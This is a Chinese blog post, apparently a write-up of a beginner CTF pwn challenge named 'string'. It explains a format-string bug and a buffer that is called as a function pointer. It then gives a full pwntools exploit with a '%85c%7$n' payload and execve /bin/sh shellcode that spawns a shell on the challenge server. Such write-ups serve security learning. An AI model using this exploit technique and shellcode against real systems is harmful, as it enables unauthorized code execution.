美文网首页
新手练习07-string

新手练习07-string

作者: n0va | 来源:发表于2019-02-18 10:32 被阅读0次

    这一题看到sub_400CA6中的这一句

    image.png

    这一句是将v1强制转化为函数指针,然后调用这个函数,所以我们可以把shellcode写到v1里去,那么接下来就是要想方设法得跳到这个位置去,我们可以看到上面有个if语句
    a1[0] == a1[1],往上翻我们知道a1=v3v3[0] = 68,v3[1] = 85,所以我们要修改a1[0]为85,题目一开始给了我们一个地址,就是a1的地址,而看到sub_400BB9函数,很明显有一个格式化字符串漏洞

    image.png

    exp:

    #-*-coding:utf-8 -*-
    from pwn import *
    # p = process('./string')
    p = remote("111.198.29.45","31167")
    p.recvuntil('secret[0] is ')
    n = p.recvuntil('\n')
    print n[:-1]
    print int(n[:-1],16)
    addrs = int(n[:-1],16)
    print "addrs: " + hex(addrs)
    # pause()
    p.recvuntil('name be:\n')
    p.sendline("n0va")
    # p.sendlineafter("be:\n","n0va")
    p.recvuntil('or up?:\n')
    p.sendline("east")
    p.recvuntil('leave(0)?:\n')
    p.sendline("1")
    # print "ok"
    p.recvuntil("address'\n")
    p.sendline(str(addrs))
    p.recvuntil('you wish is:\n')
    payload = "%85c" + "%7$n"
    p.sendline(payload)
    #也不知道为什么 ,第一个shellcode就不行,下面的shellcode就可以
    # shellcode = asm(shellcraft.sh())
    shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" 
    # print len(shellcode)
    # pause()
    p.recvuntil('USE YOU SPELL\n')
    p.sendline(shellcode)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:新手练习07-string

          本文链接:https://www.haomeiwen.com/subject/wsnoeqtx.html